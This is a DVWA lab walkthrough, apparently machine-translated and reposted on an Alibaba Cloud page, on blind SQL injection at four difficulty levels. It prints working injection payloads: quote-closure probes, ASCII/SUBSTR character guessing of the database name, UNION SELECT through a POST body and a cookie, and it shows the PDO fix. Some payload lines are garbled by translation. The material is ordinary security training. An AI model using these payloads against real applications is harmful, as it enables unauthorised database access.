"DVWA" "SQL Injection (Blind)" SQL Blind low Medium high impossible

Source: Internet
Author: User
Tags sql injection






1. low.php of primary articles






Add single quotation marks to submit


http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1 '&submit=Submit#





Output User ID not found


 
select first_name from users where user_id=1;              #Success Return admin
select first_name from users where user_id="1‘";            #Success Return admin
select first_name from users where user_id=‘1‘‘;            #Fail
select first_name from users where user_id=(1‘);            #Fail
select first_name from users where user_id=((1‘));           #Fail
select first_name from users where user_id=((‘1‘‘));          #Fail


The description is not enclosed in double quotes, try to find it is single quote closed


http://localhost/DVWA-master/vulnerabilities/sqli_blind/ ? id=1 '%23&Submit=Submit#





Constructs the following injection, if the database name the first character is ' d ', that is, the ASCII code is 100, the page is normal


http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1 ' and ASCII (SUBSTR (Database (), 1, 1)) =100%23  &submit=Submit#





Otherwise the page is not normal


http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1 ' and ASCII (SUBSTR (Database (), up)) =99%23 &submit=Submit#





2. Intermediate article medium.php






POST Submission


Id=0 Union Select 1,2#&submit=Submit


Still shows existence, in fact id=0 does not exist, but the union select returns the result, the program simply determines whether the result set is empty






As with the primary, guess the character


id=1 and ASCII (SUBSTR (Database (),)) =100#&submit=Submit





3. Advanced Article high.php






Unlike the previous chapter, this time it was written in a cookie


http://localhost/DVWA-master/vulnerabilities/sqli_blind/cookie-input.php





Refresh


http://localhost/DVWA-master/vulnerabilities/sqli_blind/


Use Editthiscookie to view cookies






You can directly inject it directly on this page


0 ' Union Select 1,2#





Refresh Page






4. Impossible article impossible.php



See the source code to know that using PDO, unable to inject


   if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( ‘SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;‘ );
        $data->bindParam( ‘:id‘, $id, PDO::PARAM_INT );
        $data->execute();


"DVWA" "SQL Injection (Blind)" SQL Blind low Medium high impossible


Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.